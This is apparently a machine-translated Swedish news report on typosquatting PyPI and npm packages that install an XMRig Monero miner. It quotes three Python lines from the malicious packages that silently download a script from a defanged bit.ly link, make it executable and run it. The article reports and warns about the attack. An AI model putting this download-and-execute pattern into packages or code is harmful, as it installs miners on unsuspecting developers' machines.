Säkerhetsforskare har hittat hundratals skadliga paket infiltrerade i PyPI- och npm-register som har ett kryptominerskript i sin kod.
De flesta av dessa paket är typosquats, som liknar deras namn med populära PyPI- eller npm-paket för att få intet ont anande installationer. Även om verksamheten verkar vara nere just nu, är det fortfarande ett växande hot mot det här samhället.
Typosquatting som den stora tekniken
Trots att de har strängare säkerhetsregler som en obligatorisk 2FA-autentisering för högprioriterade konton, är JavaScript- och Python-paketregistren fortfarande riktade mot skadliga attacker.
Den senaste har upptäckts av en säkerhetsforskare som heter Hauke Lübbers, som delade att “minst 33 projekt” på PyPI hade XMRig – en öppen källkod Monero cryptominer. Dessa projekt är mestadels typosquats av andra populära paket som Reagera, argparseoch AIOHTTPoch bär kryptomininer i sina skript.
Och ännu en #pytonorm #pypi typosquatter:
Laddade upp minst 33 projekt inom 3 timmar.
Några exempel:
– argpars
– dataclasses-jso
– jupyter-cor
– azure-mgmt-containerregistr
– python-dateuitl
– iohttp
7 minuter mellan anmälan och nedtagningen – grymt @di_koder! pic.twitter.com/kUbS7PkSGQ— Hauke Lübbers (@streamlin3d) 17 augusti 2022
Han märkte att hotaktören laddade ner ett Bash cryptomininer-skript från en fjärrserver via Bit.ly URL-förkortare, som ses nedan;
os.system("sudo wget https://bit[.]ly/3c2tMTT -O ./.cmc -L >/dev/null 2>&1")
os.system("chmod +x .cmc >/dev/null 2>&1")
os.system("./.cmc >/dev/null 2>&1")
Även om den här webbplatsen nu är nere, Sonatypes säkerhetsforskare har hittat en kopia av den som är värd för de skadliga skripten. De också upptäckte 186 npm typosquatting paket därigenom! Bortsett från detta hittade Hauke Lübbers ytterligare ett gäng med 22 PyPI-paket med samma skadliga nyttolast.
När de installeras av intet ont anande utvecklare, meddelar dessa skript hotaktören om en IP-adress för den komprometterade värden och statusen för cryptomininer-distributionen. Sammantaget har de hittat mer än 241 skadliga npm- och PyPI-paket med kryptominerare – alla inriktade på Linux-maskiner.
Även om det fortfarande är ett växande hot mot utvecklargemenskapen, registren är tillräckligt bra för att agera snabbt genom att ta bort alla berörda paket direkt efter att ha informerat dem. Ändå rekommenderas utvecklare som är beroende av skript med öppen källkod i PyPI och npm att fortsätta med försiktighet när de installerar något.
